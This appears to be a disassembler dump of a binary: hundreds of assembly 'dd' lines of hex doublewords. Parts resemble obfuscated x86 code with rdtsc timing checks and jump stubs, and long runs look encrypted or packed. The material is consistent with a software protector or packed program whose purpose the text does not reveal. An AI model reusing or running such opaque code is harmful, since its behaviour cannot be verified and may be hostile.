		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0FD0CEDC3h, 0D6BAF818h, 8B468C04h, 13CE9C0h,	4Fh dup(0)
		dd 0BD830000h, 7E023B5h, 0D8840F01h, 0E9000004h, 5, 0C2EC8531h
		dd 5985C64Bh, 4307E007h, 68B0Fh, 0F8600000h, 61F8B70Fh
		dd 0BE239C68h, 0F525098h, 68Eh,	0F525000h, 0F585A31h, 5A506031h
		dd 310F5250h, 5A61585Ah, 24048158h, 53E7AD59h, 0D3816660h
		dd 0FF614826h, 0E0292DB5h, 0C8A0F07h, 0F000000h, 685h
		dd 880F00h, 8D000000h, 0E37FE885h, 0C830F07h, 0F000000h
		dd 68Ah, 8B0F00h, 0FF000000h, 11E9D0h, 5B890000h, 0B98F1C90h
		dd 29682F6h, 6D482528h,	892E69E4h, 0E02C6985h, 7E907h
		dd 753C0000h, 46543C33h, 5985C6D3h, 5007E007h, 0AE9h, 69276400h
		dd 0CCD11BBFh, 0E84DF6FAh, 4, 0A8ADAD56h, 8D0F5250h, 2
		dd 310F6160h, 565B5660h, 585A6158h, 0B8666050h,	0FE9CEBDh
		dd 79000000h, 49B27413h, 0D4827CE8h, 8572E90Eh,	8B619CAFh
		dd 0F042444h, 0D8Ch, 8E900h, 95640000h,	0EBDC32C7h, 8B694Dh
		dd 61C78A60h, 4244489h,	0BEBE6060h, 0E83EF5AFh,	9, 6B1316E3h
		dd 79B2C4A4h, 50615FDBh, 0F616052h, 5A5F5031h, 0E9586158h
		dd 0Fh,	0B0835835h, 33038883h, 0D727B2D2h, 0FF93AD6Eh
		dd 0E0292DB5h, 0DE907h,	0AD2C0000h, 0CEF6DDF9h,	0ABB7801h
		dd 8D891BD7h, 0E37FE885h, 60516007h, 0F5805F61h, 0D0FF61CEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 35C35545h
		dd 9E835E7Fh, 8840FD6h,	0F000000h, 28Eh, 89616000h, 0E0060D85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 32C067Ch, 51918177h, 17820FB8h, 0E9000000h
		dd 12h,	0BDA8689Eh, 96F7BB63h, 7C550BADh, 2E4DEEF9h, 6660A313h
		dd 80168CBAh, 6861B8C1h, 8F5996EDh, 0D38A6060h,	4F09BB61h
		dd 81613ECDh, 3EC22434h, 5E97FD6h, 33000000h, 5C448089h
		dd 292DB5FFh, 8DF807E0h, 0E37FE885h, 0D0FFF907h, 9E9h
		dd 6925EB00h, 43A7078Dh, 85894C19h, 7E0237Dh, 12E960h
		dd 3C00000h, 5394F2Bh, 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh
		dd 8E9h, 0C5B23800h, 0B719DCC8h, 85C661AFh, 7E00759h, 56006A50h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0E130731Ah, 0A8E0Fh,	5E90000h, 0A5000000h, 4104BC42h
		dd 4E8h, 9CDC5600h, 0A5BF6097h,	60224C1Fh, 140D3FBBh, 0C88B6665h
		dd 0E9506161h, 0Ch, 7E0EA353h, 0E959AFC8h, 31B5AB1Bh, 424448Bh
		dd 7E860h, 54BC0000h, 0E14682C6h, 66525FEFh, 615AC28Bh
		dd 850F008Bh, 0Bh, 6E9h, 5DC38C00h, 89A32B77h, 0F042444h
		dd 198Bh, 13850F00h, 0E9000000h, 0Eh, 6D2025D0h, 9780F8Ch
		dd 0C59BF55Dh, 0F5589D87h, 2F01B5FFh, 8DF807E0h, 0E039F885h
		dd 12E907h, 1EF60000h, 971BF5DDh, 0C2D9B9Dh, 17167FBDh
		dd 296725A1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 773C44C3h, 398589F9h, 6007E02Bh
		dd 81C8BF0Fh, 0F0D3ED2h, 80606146h, 0CE98ADEh, 82000000h
		dd 1BB3AC7Dh, 0B3928BA5h, 61A169A1h, 156E9h, 8A0FF900h
		dd 1, 506050FCh, 0BE9h,	615BA800h, 0BBF2A698h, 400D5BC4h
		dd 615F535Bh, 0E9242C89h, 8, 9BA1F543h,	11A84CD1h, 0EE9EC8Bh
		dd 0FE000000h, 3A747h, 9974702Fh, 0F4B48549h, 0FCC4833Ch
		dd 0DE9h, 0C03B5500h, 28939761h, 4690456Ch, 6A605607h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4A41C356h, 0E8EA8Dh, 5A000000h, 9E93EA81h
		dd 45C707E5h, 0FCh, 0B5BA8300h,	107E023h, 98840Fh, 6A520000h
		dd 0FF0F6A00h, 0E02C6992h, 82895A07h, 7E5994Ah,	994E9A8Dh
		dd 0C75207E5h, 12803h, 0FF505300h, 0E0060D92h, 8D525A07h
		dd 0E5994E9Ah, 0B2FF5307h, 7E5994Ah, 2B3992FFh,	0B5A07E0h
		dd 8D5074C0h, 0E5994E9Ah, 247B8D07h, 0F981C933h, 104h
		dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh,	0BA8D0C75h
		dd 7E00911h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 911828Dh
		dd 0FF5007E0h, 0E0237D92h, 0C00B5A07h, 45C7A075h, 1FCh
		dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 0F600008h
		dd 482h, 13B96600h, 613FB7E8h, 9860Fh, 81600000h, 5DF5F9EBh
		dd 8B61F52Eh, 6E8D2h, 0ACC0000h, 159D4132h, 2CE27BB9h
		dd 81F95E1Dh, 6EFAC6h, 0DCE58000h, 1B8F68h, 14E900h, 93E30000h
		dd 46C84F54h, 0CDC1438Fh, 0E5416A08h, 263B8311h, 52584F3Dh
		dd 3800Fh, 8B660000h, 36FF5AF9h, 5BCBBF0Fh, 18A0Fh, 81F80000h
		dd 0FC9582EBh, 1890F12h, 0FC000000h, 9DE2F381h,	82B671C7h
		dd 1A85F381h, 53FC5119h, 0CE9h,	0D9BA9900h, 0CEE215F8h
		dd 0BBF57D75h, 0E8068FD1h, 0Dh,	120F4648h, 30E94C40h, 0FA667947h
		dd 5A6FB1E8h, 0E903EE83h, 5, 43EEF723h,	0E8834E96h, 97850F01h
		dd 0E9FFFFFFh, 14h, 12A63857h, 0F30C3B51h, 61B2BC50h, 0E2065AD1h
		dd 8DCFA161h, 0A0D28D8Dh, 9D2907E5h, 7E000E5h, 3231BD29h
		dd 8D8907E0h, 7E01815h,	6E9h, 37C85600h, 0C7165647h, 0E0204985h
		dd 586807h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 58BED968h, 0DF1B589h, 85C707E0h
		dd 7E022C5h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7DC35343h
		dd 85DB5FFh, 8E807E0h, 20000000h, 5EF6ED3Bh, 66BA1F74h
		dd 0FC5BDA8Bh, 209195FFh, 6AF907E0h, 0A995FF00h, 8B07E018h
		dd 791FEBC0h, 0C38D6D53h, 293EF9ACh, 9993F6D8h,	6A3016AEh
		dd 0CB5E3799h, 0DF0297DAh, 99E87CAEh, 2EE92F25h, 0F3000000h
		dd 15AF85h, 0Ah	dup(0)
		dd 0B49E900h, 99680000h, 0E907E5A2h, 0FFFBA717h, 0E5A3B568h
		dd 0A70DE907h, 6168FFFBh, 0E907E5A5h, 0FFFBA703h, 0E5A65868h
		dd 0A6F9E907h, 0B668FFFBh, 0E907E5A8h, 0FFFBA6EFh, 0E5AA0668h
		dd 0A6E5E907h, 0F968FFFBh, 0E907E5AAh, 0FFFBA6DBh, 0AA8125A5h
		dd 380FA92Eh, 0C2993BBCh, 5128C046h, 0E1B84ED5h, 0BC430BD8h
		dd 50D34F26h, 0DD5FDBB2h, 66EA663Dh, 0F74EF3CAh, 28044B31h
		dd 51DA5F63h, 0C311AD31h, 4017B337h, 0BB3D1DA4h, 9730191Bh
		dd 8BC780E8h, 64EB9756h, 827F80CEh, 76FCA853h, 5E97E1DEh
		dd 1A632347h, 0C046F2B1h, 0C76D2B28h, 63233DDDh, 56074E48h
		dd 0C437C901h, 3597h, 86329E00h, 1A1B69FFh, 0F1F4CD1Dh
		dd 65476C32h, 88346322h, 191A6804h, 0DB29921Ch,	22644B35h
		dd 0E9BCB663h, 3717A3B8h, 0CAF9C4h, 56020000h, 0E7E836D2h
		dd 0AD31B9EAh, 2E630586h, 37CD54E0h, 1F9B8A78h,	2A68991Bh
		dd 0F6E46F2Dh, 0A6827048h, 0C0F0ED6Eh, 0C652A03Ch, 39CFA642h
		dd 5B42BA34h, 0D476F7A3h, 8723A7D7h, 14B034B0h,	3EA71AC6h
		dd 0D9C4B97Fh, 4FB86322h, 0CA51FD78h, 25E5E634h, 0B50502A4h
		dd 541AD90Ch, 6B0595CCh, 0D07C3BA4h, 6F4B349h, 0FA87652Fh
		dd 0BF060389h, 1A9BBC43h, 69292A78h, 0FDFE4CE2h, 5A62BEC8h
		dd 7F5972A3h, 931E1h, 0A64ACA00h, 34CE53CFh, 0BE60E15Dh
		dd 4DE56BE7h, 0DD73FA76h, 68E6FD06h, 0F8744BE1h, 8400D775h
		dd 0F8B6202h, 7318EF8Bh, 570561Ch, 78C6328h, 14AA317Eh
		dd 0A13DC13Dh, 0DEA44FCAh, 5B4262F8h, 7DAEAB14h, 7635B011h
		dd 5DAB45CAh, 0EF3CB78Fh, 7CB1AC8Ch, 658A507Fh,	0F7632275h
		dd 9B5408Eh, 0A3EDEA84h, 632274B9h, 0BE0CAE2Fh,	186AF32h
		dd 0E3181967h, 5E440A95h, 72632274h, 0C194EE09h, 2C77713Ch
		dd 3707587Dh, 0D9BEC4h,	31C50000h, 37C311ADh, 0AF5B1AB0h
		dd 703E8C2Eh, 0B8D7AE8Fh, 8B88BDDEh, 0AA2227CDh, 14985B42h
		dd 0A94228EEh, 0F55E5B42h, 0D35501C0h, 73EF3633h, 590553EFh
		dd 13BE7D68h, 0A9BCA268h, 0B2E85B42h, 7F7C0C1Eh, 7046D87h
		dd 2382C8BDh, 845BC463h, 4D0CD9E8h, 41F6DCA2h, 0C0226323h
		dd 3FBF0A85h, 4441AAC4h, 0C9B64F15h, 69D26B05h,	5339FFAAh
		dd 675B4477h, 26D201FEh, 0B632099Fh, 901DCC2Fh,	0A3B71699h
		dd 7B12646Eh, 4F2972A3h, 815B1h, 0C266E600h, 50EA6FEBh
		dd 0DA7CFD79h, 69018703h, 0F98F1692h, 84CA1922h, 149067FDh
		dd 0A01CF391h, 2BA77E1Eh, 8F340BA7h, 68C7238h, 1BA06328h
		dd 14AA3192h, 0A13DC13Dh, 1CA34FCAh, 0A6DB77FBh, 0FF938A58h
		dd 0B8A33B13h, 31558683h, 37C311ADh, 0A44017B3h, 5E09C81Dh
		dd 0B8922EB2h, 5B4262D2h, 598885EEh, 22914A93h,	6FBD2663h
		dd 0ECC35FE3h, 0ECC48371h, 6B120804h, 1EBA3E6Eh, 8EEB45Fh
		dd 246322F9h, 0DA78FBBBh, 0B9791FDDh, 2FF6A71Ch, 0DCC288A8h
		dd 0F0EFA717h, 78045287h, 770856F6h, 231F2271h,	0DB9C68Dh
		dd 0A1A2F086h, 54F074A4h, 0E17D017Dh, 1804ED93h, 0C51FEFA7h
		dd 8046F1FEh, 0EFA7189Ah, 0A0EE8E10h, 864F859Fh, 886222BEh
		dd 0F97C3C71h, 0F0C0D5Bh, 0E8BF5BDFh, 0FE4CE86Ch, 0A68F6958h
		dd 276E74EFh, 0A0771397h, 0B604A024h, 6F2EB70Ah, 0BE47CCA9h
		dd 0A077E0CEh, 6928BD04h, 9E3B6AA3h, 6FBD26CFh,	1BB138E4h
		dd 39EBD41Eh, 0C154C6DEh, 0AAF88E15h, 4F16ACA9h, 4CC5391Eh
		dd 4465FA8h, 32660000h,	62DBC187h, 86EF5B42h, 66D9DC89h
		dd 5CB8A5Bh, 63226A74h,	3CE8A710h, 0CCCD1BB9h, 512BCFh
		dd 673FF23Ch, 9E9B37BBh, 0B372734Eh, 525120EDh,	75C32C3Eh
		dd 2EEDF8C9h, 0F26B7668h, 0FCC26D3Fh, 36725A16h, 3AC4C12Ah
		dd 47FAFF04h, 5E93F5EAh, 1806F49Fh, 290FD58Ah, 45367175h
		dd 79BFDADCh, 1397C7C4h, 604127EDh, 695D3672h, 0E1164BE3h
		dd 5DE38F0Ah, 1498C8C5h, 0B85E6E78h, 936DA98Eh,	669F5h
		dd 6E129200h, 0FC961B97h, 8628A925h, 15AD33AFh,	0A53BC23Eh
		dd 301EC5CEh, 0C03C13A9h, 4CC89F3Dh, 0D7532ACAh, 3BE0B753h
		dd 8381EE4h, 0CF546328h, 3863246h, 0C68C1765h, 5B4262E0h
		dd 615E93FCh, 0C311AD31h, 589B637h, 5B1A1B69h, 4263AF95h
		dd 2D62CB5Bh, 17FDC36Eh, 335B4263h, 0F886CDCAh,	0C4h, 3AB51173h
		dd 0AC7C8D7Bh, 0CEF2A5B4h, 0A86DAED1h, 9625706Eh, 8A152CA8h
		dd 0B1AE2D49h, 0D7827B60h, 4DA1C3h, 11A80000h, 0B57B3AB5h
		dd 5B4262CCh, 0A5317FE8h, 0D8C68521h, 8DD65298h, 4E959202h
		dd 64B24ED2h, 1DDC09B8h, 23258A57h, 0CF1D8663h,	46773E38h
		dd 0C437BE11h, 1687h, 87328E00h, 4262DBC1h, 74FBEF5Bh
		dd 5A8F90DEh, 0C91B5Dh,	32960000h, 17650386h, 37D15616h
		dd 0ED7EA3Ah, 9840894Fh, 0B31C6322h, 41711DA9h,	0B2502A75h
		dd 572h, 8E650989h, 1CF38D12h, 0A67D1FA0h, 350CA42Ah, 0C59C32B9h
		dd 0A02727BCh, 34B7330Ah, 0C143BF96h, 4ACE4A21h, 0DB32D7AEh
		dd 28092F15h, 3DC64B63h, 873AB511h, 7A780046h, 165D7A2Bh
		dd 50BBC3D7h, 0C2000000h, 65038632h, 41AE1868h,	7DF74D8Eh
		dd 5085347Fh, 0C6C3D716h, 37h, 0AFB511CDh, 40418F2Bh, 0E995580Bh
		dd 20CDCA64h, 582B29FDh, 426B4D30h, 9C3ABD5Bh, 6EBC58DCh
		dd 357386Dh, 0F2C3D71Ah, 179EBF46h, 0FD323381h,	0FEDB7800h
		dd 117FFFFFh, 46873AB5h, 2514FD7h, 0D7160653h, 22294C3h
		dd 319B0000h, 0E20289AAh, 4263361Ch, 0ACE14A5Bh, 0F39E2977h
		dd 4263472Dh, 0FDFA635Bh, 61AF47CDh, 22B00399h,	0B22E059Bh
		dd 9B47952Bh, 1200BF26h, 0EBB120BCh, 5B42E705h,	8FAEB019h
		dd 9F65245Bh, 5B432AB9h, 406F6CD5h, 232EBD7Ah, 0A766CF63h
		dd 8D5375FBh, 632326A7h, 28255AC3h, 0A1F4BA6Ah,	0BBA16712h
		dd 0CF632326h, 0B2396966h, 11AF954Fh, 2D62AA15h, 3353DA56h
		dd 2299876Dh, 0CF2BBB63h, 352B90ABh, 2F7DB21Bh,	23179F89h
		dd 1560BA63h, 9168FE85h, 39F88E15h, 14E2C88Eh, 0C8FE6323h
		dd 2D1D6DA1h, 807DB26Eh, 58B37C2h, 211E1F6Dh, 36F5F0D1h
		dd 2AA0770h, 0BD17C6Bh,	5B428925h, 26C04539h, 16AF4F1h
		dd 0B2338E2Ah, 9B502DF3h, 0F35C6322h, 9719FFA5h, 98F6322h
		dd 12972371h, 0B47A2A78h, 0E7415CE1h, 12D3EE9Ch, 0A9B08D53h
		dd 53BC6B02h, 0E07C007Ch, 0E6820692h, 974E730Fh, 5D87EAD8h
		dd 31232CDFh, 63F0534h,	5D6322F0h, 0E306ECB2h, 0B11A6322h
		dd 73C12AB4h, 22E2E3CDh, 1544E63h, 37920B50h, 4091C4h
		dd 11980000h, 0B07635B0h, 6322648Bh, 48EE3CA5h,	6322645Eh
		dd 66B450D4h, 6BB957DAh, 38460DA3h, 0C8C917B5h,	87CEC893h
		dd 371781D6h, 40C470C4h, 965556A4h, 226FEAD0h, 0A09D0663h
		dd 8618h, 0AD311F00h, 0B037C311h, 0BC40CC1Ah, 0C246D220h
		dd 0B4B94F26h, 225B4267h, 9843029Eh, 4266ECD2h,	9A97005Bh
		dd 0DB0AB753h, 213B561Ch, 0EC556325h, 11D7822Dh, 6325202Bh
		dd 0A9D9D63Fh, 39B58C22h, 0AE121CB2h, 9D7543F8h, 31425C3h
		dd 67E70000h, 0EB70ECC3h, 7DFE7A51h, 28804DBh, 9017936Ah
		dd 0C91A23FAh, 9168FE85h, 1DF49215h, 0A87F1FA1h, 350CA82Ch
		dd 8D733990h, 0A163280Bh, 0AA31931Ch, 3DC13D14h, 324DCAA1h
		dd 62DBC187h, 86EF5B42h, 39D55989h, 497260EBh, 0CB87A176h
		dd 33D6BC82h, 81EA5B43h, 6F058C4Ch, 22BE4272h, 5F25D04Bh
		dd 5B433479h, 0FE2F2C95h, 0C311AD31h, 4017B337h
		dd 6E541AC5h, 825B4263h, 0F5CC1C19h, 0F442E465h, 39FFBEF3h
		dd 63226A00h, 9F4593FCh, 632269B5h, 2E5F2620h, 0C4371429h
		dd 416Fh, 0B0117600h, 20CB7635h, 4263745Ah, 91A3A05Bh
		dd 0AE23856Bh, 9F292B94h, 41FC5758h, 95BA0401h,	0A7632311h
		dd 7765F03Eh, 64FD1AC1h, 72BCB9CCh, 63229388h, 0FBAAF9F3h
		dd 0C43726DEh, 0B83Ch, 0AD314300h, 0B037C311h, 2EAF5B1Ah
		dd 403D3E8Ch, 0D672F682h, 867F2917h, 57BB4E37h,	8C109C5Ah
		dd 7E8319F0h, 6D5B434Bh, 31DFF57Fh, 3FFF9E7Ah, 0F2221FBBh
		dd 7FFBD26Eh, 65115FFBh, 4CA895Ch, 632288B3h, 0C15D349Dh
		dd 6026E500h, 6B05413Fh, 314D1349h, 1D8F4D9h, 0DA610DCCh
		dd 6C184744h, 0FC784FE5h, 0C5D5DF75h, 0F272A301h, 1C47A18h
		dd 0B7370000h, 3BC03C13h, 0CD4ECAA1h, 52D8542Bh, 0E067E3BAh
		dd 796A734Ah, 0E1B84ED5h, 6D44E265h, 0F8CF6FF1h, 855CF87Ch
		dd 0DDC389E0h, 0F163280Ch, 0AA31E36Ch, 27A95514h, 3B383987h
		dd 8BF478F4h, 0CDF156B5h, 0DEB5EA45h, 35B01161h, 648BB076h
		dd 0B1A56322h, 0C5A8F2Fh, 22647C66h, 0D26EF263h, 0D577F884h
		dd 0A6F49215h, 0F87D48DEh, 93AC9A2Dh, 70635370h, 367D1310h
		dd 376A5287h, 0EE7521C4h, 0C090A58h, 0B584h, 87328B00h
		dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 0B41B7260h, 0E4F49F8Bh
		dd 9A30B7E7h, 0DFA1A64Ch, 91155B42h, 1EA21EF5h,	39883482h
		dd 0D627EDACh, 4D632302h, 34821CA1h, 43AC3633h,	0C345F16Ch
		dd 0C649D523h, 0A6F6F328h, 450BCA1Bh, 6B057BC5h, 0CE7938A1h
		dd 0B6049C22h, 188B8B5h, 9118946Bh, 0A3F3F1FBh,	0EEC872A3h
		dd 0D150h, 6AA2A00h, 942EB32Fh,	1EC041BDh, 0AD45CB47h
		dd 3DD35AD6h, 0C8865D66h, 58D4AB41h, 0E46037D5h, 6FEBC262h
		dd 0D3784FEBh, 0CD0B67Ch, 67EC6328h, 89AA31DEh,	361CE202h
		dd 4A5B4263h, 5D5EACE1h, 4A7F179Dh, 0D773F773h,	0AD318300h
		dd 58D90486h, 323381B6h, 7924AFFDh, 4262CDB3h, 7B78E15Bh
		dd 0DBA1C74Bh, 5B4262F5h, 946BA009h, 0E692C9F8h, 7576C464h
		dd 4263B59Bh, 0A2235Bh,	3ABD7DE6h, 0E2A8679Ch, 632803F3h
		dd 5AE6349Dh, 0E7633AD6h, 0D379C763h, 75722C38h, 0E5F5C056h
		dd 1DB33A61h, 119511E8h, 97CC64EAh, 9F37BD49h, 88DBA151h
		dd 3DA76FAh, 17DD0387h,	70F1EC31h, 61AFE44Dh, 0DC3h, 0B7023E00h
		dd 6360460Ch, 137C5B42h, 0B131E516h, 0AF33BF0Dh, 0B739C513h
		dd 0BA3DC917h, 0BB42CE1Ch, 0C44BD725h, 0CE54E02Eh, 0DB5CE836h
		dd 0DA5FEB39h, 5763F240h, 0C781E789h, 4, 8704EF83h, 895C243Ch
		dd 89532404h, 4C381E3h,	83000000h, 1C8704EBh, 2C895C24h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 241C895Ch
		dd 76DC6850h, 48B0DC8h,	4C48324h, 0E2D5682Dh, 58C58905h
		dd 4EC81h, 24890000h, 24048324h, 0EC815B04h, 4,	8F242C89h
		dd 1C8B0843h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 2434FF5Ch, 4C4835Dh,	0FB9BDAE9h, 0B843D2FFh,	7E5ABEFh
		dd 0E0FFC503h, 4AC21D3Ch, 6661C6ABh, 759A1E44h,	1C6A9C19h
		dd 0D202BCFh, 51E43375h, 346BBCC4h, 5CC5E8EDh, 1CF7999h
		dd 4F9ED4B0h, 5F5A1059h, 0EA5A004h, 67E6498Ch, 46BF4914h
		dd 3DB58A7Fh, 18AE9h, 44B47300h, 0E86A7C0Dh, 144ED284h
		dd 0C95A904Ch, 0C254AB0Bh, 0C154B052h, 0CA5AB70Bh, 0E1738D52h
		dd 0B326873Bh, 48728852h, 4CC62CD0h, 0F4B4BC9Ch, 85161752h
		dd 12852h, 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 47h dup(0)
		dd 0E9000000h, 1687h, 0E5B01568h, 99F5E907h, 2968FFFBh
		dd 0E907E5B1h, 0FFFB99EBh, 0E5B22868h, 99E1E907h, 0F768FFFBh
		dd 0E907E5B2h, 0FFFB99D7h, 0E5B4AF68h, 99CDE907h, 0D468FFFBh
		dd 0E907E5B5h, 0FFFB99C3h, 0E5B69668h, 99B9E907h, 5C68FFFBh
		dd 0E907E5B7h, 0FFFB99AFh, 0E5B95A68h, 99A5E907h, 3668FFFBh
		dd 0E907E5BAh, 0FFFB999Bh, 0E5BAE968h, 9991E907h, 6468FFFBh
		dd 0E907E5BBh, 0FFFB9987h, 0E5BCCF68h, 997DE907h, 3B68FFFBh
		dd 0E907E5C2h, 0FFFB9973h, 0E5C36968h, 9969E907h, 9717FFFBh
		dd 1BA01CF3h, 0AD2EAA81h, 32B8340Bh, 0C047C39Ah, 994A532Ah
		dd 0C1982EB5h, 4D24C245h, 0D8AF4FD1h, 653CD85Ch, 0BDA369C0h
		dd 0D1632811h, 0AD31C34Ch, 0B337C311h, 1DA44017h, 0D85D09C8h
		dd 4C12413Eh, 63226A13h, 0AB3684EDh, 8C527EFFh,	632269A6h
		dd 1F1C51BAh, 2268EBD5h, 0B9DA6163h, 19679C32h,	1DE3098Dh
		dd 63226937h, 67B5EA53h, 70F5C0E6h, 0A9D8ABA5h,	0C43714ACh
		dd 3FEAh, 0B011F100h, 3D8B25AAh, 8248073Ch, 6322655Dh
		dd 923886EFh, 632264A8h, 0B301971Eh, 0BC0AA027h, 25287BD5h
		dd 8615605Ah, 46198898h, 0D6D380ACh, 370A5085h,	0DAC6C4h
		dd 23CF0000h, 0D607049Eh, 0C311AD31h, 88FB037h,	0EE232472h
		dd 0A46A15A0h, 5B4263BEh, 3C6C69D2h, 42CE1CB8h,	0B54B22BEh
		dd 5B426796h, 15EC880Ch, 0D167EE9Ah, 55858283h,	3BE735D1h
		dd 0B74DD486h, 8FDC382h, 84632288h, 0BC6E5C1Bh,	2AEDF6FCh
		dd 52EE3532h, 0F1B7766Fh, 6B05AD69h, 31DD9C05h,	0C5C614AAh
		dd 66ED99C8h, 0F67DF9D0h, 78745660h, 694372A3h,	1427CBh
		dd 22C64600h, 0B04ACF4Bh, 3ADC5DD9h, 0C961E763h, 59EF76F2h
		dd 0E46A7982h, 74F0C75Dh, 7C53F1h, 8B07DE7Eh, 0EF946B07h
		dd 12ECD298h, 7B006328h, 14AA31F2h, 8925A955h, 1ECA458Ch
		dd 763CFB9Dh, 5B426390h, 164643ACh, 0FBC16C92h,	5B426315h
		dd 0E6C029h, 765B4263h,	50654F4h, 3DC282EBh, 1A976EA3h
		dd 7635B011h, 759A1FCBh, 50654F2h, 6489D3D0h, 0F8632265h
		dd 0B19B418Fh, 1C632264h, 0BB5BDD89h, 0D96F6C6Dh, 17FEDB8Ah
		dd 0E01CC437h, 23000000h, 0C311AD31h, 0CC1AB037h, 75119541h
		dd 0DF292627h, 5B4267C0h, 56F47723h, 9A52959h, 0C32B632h
		dd 42676046h, 0DE137C5Bh, 0F0170590h, 0A3D62885h, 3190E0DDh
		dd 9E4AF5B4h, 2E2F7D1Bh, 9CF2E731h, 258E6322h, 0D60FB24Eh
		dd 3CC06C17h, 545152A0h, 555710Ah, 7478666Bh, 0D56FF4C3h
		dd 0B34BC2D3h, 4C32CB6h, 2EB0D158h, 0DB3F8C8Eh,	74C22F77h
		dd 65EC683Fh, 6FEFC5CFh, 2DC72A3h, 131364h, 36DA5A00h
		dd 0C45EE35Fh, 4EF071EDh, 0DD75FB77h, 6D038A06h, 0F8568D96h
		dd 8804DB71h, 14906705h, 9F1BF292h, 3A87F1Bh, 1400E6ACh
		dd 971C6328h, 14AA310Eh, 0FE25A955h, 58A6DB7Dh,	98135A57h
		dd 71DA39AAh, 0C2BF4DBAh, 0FAE80E92h, 20E9B671h, 654B251Dh
		dd 795B42E3h, 32CA5010h, 32A926FDh, 27619F44h, 0ACA98024h
		dd 0E5CF87Ch, 8B62FE82h, 45DF6410h, 0F5971848h,	2E971BA7h
		dd 0DAC60BECh, 956CA1FFh, 0AF12059Ch, 38FE2AABh, 5B430652h
		dd 82D0056Eh, 0B005F6B4h, 0AFE48ACFh, 6410BB7Ah, 0F8F947DDh
		dd 9C20B1FBh, 382C6322h, 6A0A8CB5h, 98E61B1Ch, 542E6297h
		dd 5AACC96Bh, 0D55802BFh, 0DA5DE937h, 0B8EDEE3Ch, 39FEC483h
		dd 53538C7Bh, 65119CEAh, 0F74744E2h, 965C1BCAh,	5AAFF394h
		dd 0F4DAA04Bh, 84BABD1h, 0AF18A29Fh, 24C044F0h,	0B14DD14Dh
		dd 0C82533A7h, 902E0882h, 1214h, 5E35D959h, 0ECC35DE2h
		dd 764DEF70h, 5DC74FAh,	956C0289h, 70F7578Ch, 48703DAh
		dd 91138F66h, 1A9E1AF1h, 0AB02A77Eh, 2814FFE5h,	0D961B63h
		dd 0C311AD31h, 2CB0AA17h, 0D69C5B90h, 6322881Dh, 0C161E3D7h
		dd 663D7273h, 0BCA66EAh, 2EB3DC5Fh, 0A4625F94h,	0BBF2B19h
		dd 160D0DF7h, 0EDF8C919h, 0A063682Eh, 9FD6B08h,	3DD55B88h
		dd 6BB9EEEFh, 0CA76356Ah, 57D3AA46h, 3DE937D3h,	0DCA26184h
		dd 632D4BB7h, 0F5A160C9h, 5CC74A71h, 440B71CBh,	7A7CB18Eh
		dd 0C690D516h, 21F82DFEh, 4F35FBA6h, 6B632345h,	51D50502h
		dd 0C54AF6B5h, 0C4702E2Bh, 6329E8FDh, 6B036ABEh, 4E8C3F2Dh
		dd 9788FC44h, 9DA7109Ah, 72A15F03h, 45C05E38h, 28000011h
		dd 0B12D04A8h, 3FBB922Ch, 0C9451CBEh, 58D4AB43h, 5B643BD1h
		dd 0A93FC688h, 35D356D2h, 0C060E25Eh, 4DE96DE9h, 0B47AD176h
		dd 632814CEh, 31D45DE2h, 0A95514AAh, 3D3E8C22h,	645DF940h
		dd 88D672F6h, 0CD935287h, 63229084h, 8C38F760h,	0AE6C690Bh
		dd 43029E22h, 0F20CBA55h, 0D1CE38A9h, 0DD630F8Ah, 0F9F6F745h
		dd 9B1E45C9h, 79AEAFFDh, 63490FBAh, 7763235Fh, 0A753110Eh
		dd 610CCB1Ah, 5F450BB6h, 7B63235Fh, 5F523812h, 56E6323h
		dd 7ADDBE08h, 54426B03h, 760B799Bh, 0F8827F98h,	0CB91418Fh
		dd 0CA66EAF8h, 0C98A78F3h, 234D61FDh, 0A41D6D6Ah, 54D68241h
		dd 0C288B7B4h, 63231679h, 977D43EEh, 0B363230Eh, 5AC34D4Ah
		dd 2AD6810Ch, 4C320CA4h, 6063230Eh, 46CAFAF7h, 0FE945CAAh
		dd 0D03A28B7h, 2DC74C4Dh, 0D2DCDEDFh, 94E4E1E3h, 33F9B82Dh
		dd 6B0359EAh, 982EB561h, 0C24C494Ah, 82068259h,	8F298E6h
		dd 235B4357h, 42EDFAC9h, 92B9D54h, 1DBC9AEh, 5B43361Bh
		dd 99C9C62Fh, 27A27915h, 0CF9AD739h, 0C1DDAED1h, 2CB9097Eh
		dd 5C8C89BEh, 42EE3CD8h, 0E1A7667Fh, 63230474h,	0DFD8AF18h
		dd 964F72DFh, 911411D7h, 0EF586B08h, 0CF50FCBBh, 0E1DEDF2Dh
		dd 46942AB1h, 4790B6A0h, 63B50C5Bh, 4135C9F1h, 52114624h
		dd 2D986F8Ch, 29B05C63h, 190C9693h, 22876D53h, 0BA58DB63h
		dd 430237A0h, 0CB69EC98h, 462CF27Dh, 5A632287h,	8FBFBCF1h
		dd 1D986F0Bh, 86C6AC72h, 71DA6322h, 2536C96Fh, 403D2138h
		dd 0A2F08C10h, 0EFF98F16h, 7541CFE7h, 8D5CFAD4h, 0E000000Fh
		dd 69E5BC60h, 0F7734AE4h, 81FDD476h, 108C63FBh,	131CF389h
		dd 61F77ED0h, 0ED8B0E8Ah, 78189A16h, 5A125A1h, 6C32892Eh
